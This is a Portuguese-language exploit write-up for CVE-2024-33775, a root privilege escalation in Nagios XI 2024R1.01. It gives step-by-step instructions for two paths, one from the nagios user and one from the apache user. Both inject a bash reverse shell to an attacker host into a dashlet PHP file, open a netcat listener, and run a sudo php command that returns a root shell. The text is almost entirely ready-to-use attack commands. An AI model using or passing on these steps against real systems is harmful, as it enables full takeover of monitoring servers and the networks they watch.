CVE-2024-33775

CVE Descoberto por: K. Wahab (Neo`X)

Detalhes da Vulnerabilidade:

• Produto: Nagios XI Version 2024R1.01
• Vulnerabilidade: Escalação de Privilégios a partir dos Usuários "NAGIOS" ou "APACHE"
• Resultado: Acesso root total no sistema alvo
• CVE: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-33775

Exploit:

O RSS Dashlet é usado neste exemplo.

1. Crie uma nova instância do Nagios XI:

• Você pode baixar o arquivo OVA do Nagios XI Version 2024R1.01 em: https://assets.nagios.com/downloads/nagiosxi/2024/ovf/nagiosxi-2024R1.0.1-64.ova

2. Escalação de Privilégios:

Exploit como NAGIOS:

• Adicione dentro do arquivo .inc.php do dashlet em "/usr/local/nagiosxi/html/includes/dashlets/" o seguinte conteúdo :

exec('/bin/bash -i >& /dev/tcp/<Attacker IP>/4441 0>&1);

• Inicie um servidor Netcat em modo de escuta na máquina do atacante:

nc -nlvp 4441

• Execute o seguinte comando para escalar privilégios e receber uma conexão como root:

sudo /usr/bin/php /usr/local/nagiosxi/scripts/components/autodiscover_new.php --addresses=127.0.0.1/1

Exploit como APACHE:

• Acesse a página de gerenciamento de "dashlets" e baixe um Dashlet:

  root@kitploit:~

  http://TARGET_IP/nagiosxi/admin/dashlets.php?download=rss_dashlet
  

• Modifique o *.inc.php:

  root@kitploit:~

  exec("sleep 30 && /bin/bash -c '/bin/bash -i >& /dev/tcp/<Attacker IP>/4441 0>&1'");
  

• Inicie um servidor Netcat em modo de escuta na máquina do atacante:

nc -nlvp 4441

• Envie o dashlet malicioso na página de gerenciamento de dashlets e aguarde a conexão como usuário APACHE.
• Execute o seguinte comando para escalar privilégios e receber uma conexão como root:

sudo /usr/bin/php /usr/local/nagiosxi/scripts/components/autodiscover_new.php --addresses=127.0.0.1/1

(Nota : Após executar o comando, você receberá uma conexão como APACHE, use CTRL+C para sair e reinicie o listener novamente várias vezes)